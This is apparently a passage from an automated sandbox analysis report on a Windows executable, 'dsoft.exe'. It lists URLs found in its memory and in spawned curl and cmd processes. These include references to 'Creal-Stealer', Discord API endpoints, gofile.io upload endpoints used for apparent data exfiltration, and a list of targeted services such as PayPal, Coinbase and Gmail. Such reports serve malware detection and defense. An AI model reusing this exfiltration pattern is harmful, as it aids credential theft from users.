                                                              http://curl.haxx.se/rfc/cookie_spec.htmldsoft.exe, 00000001.00000002.2571047548.000002948A0E0000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015553869.00000294896AA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015553869.0000029489689000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192181460.000001FA5CCDF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://docs.python.org/3/library/subprocess#subprocess.Popen.returncodedsoft.exe, 00000001.00000002.2570716868.0000029489D80000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://github.com/pypa/.github/blob/main/CODE_OF_CONDUCT.mddsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxydsoft.exe, 00000001.00000003.2557709314.0000029488DF3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535420058.0000029488DD9000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535331948.0000029488DCC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2570912516.0000029489FA0000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015658048.0000029488D4E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2567431865.0000029488DF3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2557121701.0000029488DF3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539030193.0000029488DF3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535501863.0000029488DEA000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2716548036.000001FA5D5E0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://crunchyroll.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      https://gmail.com)zdsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      https://paypal.com)zdsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      https://coinbase.com)zdsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/readerdsoft.exe, 00000001.00000003.2536991819.0000029486172000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2562652028.00000294861C4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542181367.00000294861C2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539619903.0000029486184000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2679295806.000001FA596B6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://store4.gofile.io/uploadFileDRIcmd.exe, 00000011.00000002.2236871646.000001EAF2E20000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000026.00000002.2372004977.00000252CF160000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://ebay.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                          • Avira URL Cloud: safe
                                                                          		unknown
                                                                          https://httpbin.org/dsoft.exe, 0000000E.00000003.2677190879.000001FA5C189000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://roblox.com)zdsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://www.cl.cam.ac.uk/~mgk25/iso-time.htmldsoft.exe, 00000001.00000003.2009384833.0000029488561000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2008873908.0000029488561000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://store4.gofile.io/ucmd.exe, 00000007.00000002.2150326748.000002BBEB28B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://hbo.com)zdsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                https://binance.com)zdsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                https://discord.gg/rdsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://playstation.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535dsoft.exe, 00000001.00000003.2544948231.00000294885F3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2552025454.0000029488604000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535420058.0000029488E2C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539322355.0000029488E2C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535862130.00000294885ED000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015658048.0000029488E2C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539030193.0000029488E2C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547611393.0000029488E36000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554880943.0000029488604000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251415686.00000294885F0000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2684580893.000001FA5CCAB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://sellix.io)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    https://github.com/pypa/setuptools/issues/417#issuecomment-392298401dsoft.exe, 00000001.00000002.2565697167.0000029488620000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://wiki.debian.org/XDGBaseDirectorySpecification#statedsoft.exe, 00000001.00000003.2536991819.0000029486172000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546618302.00000294861B0000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539619903.0000029486184000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2677558955.000001FA5BACC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2679295806.000001FA596B6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2185649378.000001FA5BB40000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2420767058.000001FA5BAC6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2188458785.000001FA5BB40000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2687166926.000001FA5BB53000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://gofile.io/d/qEb3qj)dsoft.exe, 00000001.00000003.2534735683.000002948994D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2250652495.0000029489708000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534412343.000002948994A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251126528.000002948994A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://store4.gofile.io/uploadFileTEM32curl.exe, 00000009.00000002.2149787568.00000167975D8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            https://store4.gofile.io/uploadFilecurlcurl.exe, 00000009.00000002.2149787568.00000167975D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2186534267.0000022CEC920000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000001C.00000002.2239967178.000001A81E8D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002E.00000002.2374793951.000001BA62A40000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              http://tools.ietf.org/html/rfc6125#section-6.4.3dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                https://discord.com/api/v6/guilds/dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://telegram.com)zdsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  • Avira URL Cloud: safe
                                                                                                  		unknown
                                                                                                  https://google.com/maildsoft.exe, 00000001.00000003.2537324099.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546117734.0000029488C7D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2541781590.000002948846D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2551136597.00000294884B3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539552656.0000029488462000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539842827.0000029488467000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2547514499.000002948848E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2553471547.00000294884BB000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2549283681.0000029488493000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488C6F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2191490919.000001FA5C13E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676516271.000001FA5C17A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2678643539.000001FA5C18D000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2677190879.000001FA5C189000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    https://github.com/jaraco/jaraco.functools/issues/5dsoft.exe, 00000001.00000002.2568217341.0000029489180000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2565795035.0000029488720000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://pornhub.com)zdsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      		unknown
                                                                                                      https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examplesdsoft.exe, 00000001.00000002.2570386727.00000294898CE000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251567810.00000294898CC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251521232.00000294898BF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251226589.00000294898BF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539962337.00000294898CD000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534412343.00000294898AC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        http://www.phys.uu.nl/~vgent/calendar/isocalendar.htmdsoft.exe, 00000001.00000003.2009384833.0000029488561000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2008873908.0000029488561000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          http://www.rfc-editor.org/info/rfc7253dsoft.exe, 00000001.00000003.2541343735.0000029489846000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2554026491.0000029489853000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542760819.000002948984B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2570023169.0000029489854000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2680203394.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676039834.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            http://aka.ms/vcpython27pdsoft.exe, 0000000E.00000002.2707717704.000001FA5CAE0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.dsoft.exe, 00000001.00000003.2537777125.0000029488B98000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538414293.0000029488BA1000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2545860552.0000029488BA5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535580170.0000029489668000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555647774.0000029488BA5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488B98000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548181855.0000029488BA5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488B98000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543261606.0000029488BA5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2191490919.000001FA5C13E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                https://packaging.python.org/installing/dsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://mahler:8092/site-updates.pydsoft.exe, 00000001.00000003.2537324099.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2543552905.0000029488D44000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2538502923.0000029488D43000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548120060.0000029488D4E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2546659014.0000029488D4A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2680203394.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2676039834.000001FA5CCE6000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2696286326.000001FA5CD00000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://api.gofile.io/getServerrdsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      https://discord.gg/dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                        		high
                                                                                                                        https://gofile.io/d/GyGDwidsoft.exe, 0000000E.00000003.2420158932.000001FA5CE15000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000022.00000003.2303495752.00000227F8BC8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          		high
                                                                                                                          https://tidelift.com/subscription/pkg/pypi-setuptools?utm_source=pypi-setuptools&utm_medium=referraldsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          • Avira URL Cloud: safe
                                                                                                                          		unknown
                                                                                                                          https://docs.python.org/3/library/re.html#re.subdsoft.exe, 00000001.00000003.2012706454.0000029488D30000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2565892869.0000029488840000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2012706454.0000029488CF1000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2010117969.0000029488AF3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2010117969.0000029488B32000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2567821197.0000029488F60000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2705743567.000001FA5BE10000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                            		high
                                                                                                                            https://netflix.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                            • Avira URL Cloud: safe
                                                                                                                            		unknown
                                                                                                                            https://github.com/urllib3/urllib3/issues/2920dsoft.exe, 00000001.00000002.2570912516.0000029489FA0000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2716548036.000001FA5D5E0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                              		high
                                                                                                                              https://gmail.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                              • Avira URL Cloud: safe
                                                                                                                              		unknown
                                                                                                                              https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpgrXdsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                		high
                                                                                                                                https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpgdsoft.exe, 0000000E.00000003.2420158932.000001FA5CE4D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  https://outlook.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                  • Avira URL Cloud: safe
                                                                                                                                  		unknown
                                                                                                                                  https://gofile.io/d/Aq7c2m)dsoft.exe, 00000001.00000002.2571489962.000002948A460000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2534412343.000002948994A000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2251126528.000002948994A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    https://setuptools.pypa.io/en/latest/userguide/declarative_config.html#opt-2dsoft.exe, 00000001.00000002.2568217341.0000029489180000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                    • Avira URL Cloud: safe
                                                                                                                                    		unknown
                                                                                                                                    https://github.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                    • Avira URL Cloud: safe
                                                                                                                                    		unknown
                                                                                                                                    http://crl.thawte.com/ThawteTimestampingCA.crl0dsoft.exe, 00000000.00000003.1989465839.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2163908416.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      https://binance.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                      • Avira URL Cloud: safe
                                                                                                                                      		unknown
                                                                                                                                      https://github.com/pyparsing/pyparsing/wikidsoft.exe, 0000000E.00000003.2682720383.000001FA5C2C9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        https://youtube.com)zdsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                        • Avira URL Cloud: safe
                                                                                                                                        		unknown
                                                                                                                                        https://spotify.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                        • Avira URL Cloud: safe
                                                                                                                                        		unknown
                                                                                                                                        https://img.shields.io/badge/code%20style-black-000000.svgdsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          https://spotify.com)zdsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                          		unknown
                                                                                                                                          https://setuptools.pypa.io/en/stable/history.htmldsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                          		unknown
                                                                                                                                          https://gofile.io/d/Aq7c2mdsoft.exe, 00000001.00000003.2251226589.0000029489899000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185821263.0000022CEC970000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185629331.0000022CEC9A2000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185970287.0000022CEC94A000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185749532.0000022CEC989000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2186868206.0000022CEC970000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185715170.0000022CEC96F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185749532.0000022CEC9A2000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185925847.0000022CEC9A2000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2185629331.0000022CEC989000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                            		high
                                                                                                                                            http://www.iana.org/time-zones/repository/tz-link.htmldsoft.exe, 00000001.00000003.2008873908.0000029488559000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2008873908.0000029488561000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                              		high
                                                                                                                                              http://docs.python.org/library/itertools.html#recipesdsoft.exe, 00000001.00000002.2565892869.0000029488840000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2548515712.00000294885B0000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2558178753.00000294885D5000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2541850767.00000294885AE000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2545891343.00000294885B0000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555421341.00000294885B0000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2568096593.0000029489080000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2558384388.00000294885D8000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539453832.0000029488525000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2540133201.0000029488535000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2536542831.0000029488519000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539168516.000002948851C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2705743567.000001FA5BE10000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2191490919.000001FA5C1F6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                		high
                                                                                                                                                https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpgrXzdsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                  		high
                                                                                                                                                  https://gofile.io/d/GyGDwi)dsoft.exe, 0000000E.00000003.2420158932.000001FA5CE4D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                    		high
                                                                                                                                                    https://yahoo.com)zdsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                    • Avira URL Cloud: safe
                                                                                                                                                    		unknown
                                                                                                                                                    https://discord.com/api/users/dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                      		high
                                                                                                                                                      https://steam.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                      • Avira URL Cloud: safe
                                                                                                                                                      		unknown
                                                                                                                                                      https://store4.gofile.io/uploadFileomBzcurl.exe, 0000000D.00000002.2186534267.0000022CEC928000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                        		high

                                                                                                                                                        World Map of Contacted IPs

                                                                                                                                                        • No. of IPs < 25%
                                                                                                                                                        • 25% < No. of IPs < 50%
                                                                                                                                                        • 50% < No. of IPs < 75%
                                                                                                                                                        • 75% < No. of IPs

                                                                                                                                                        Public IPs

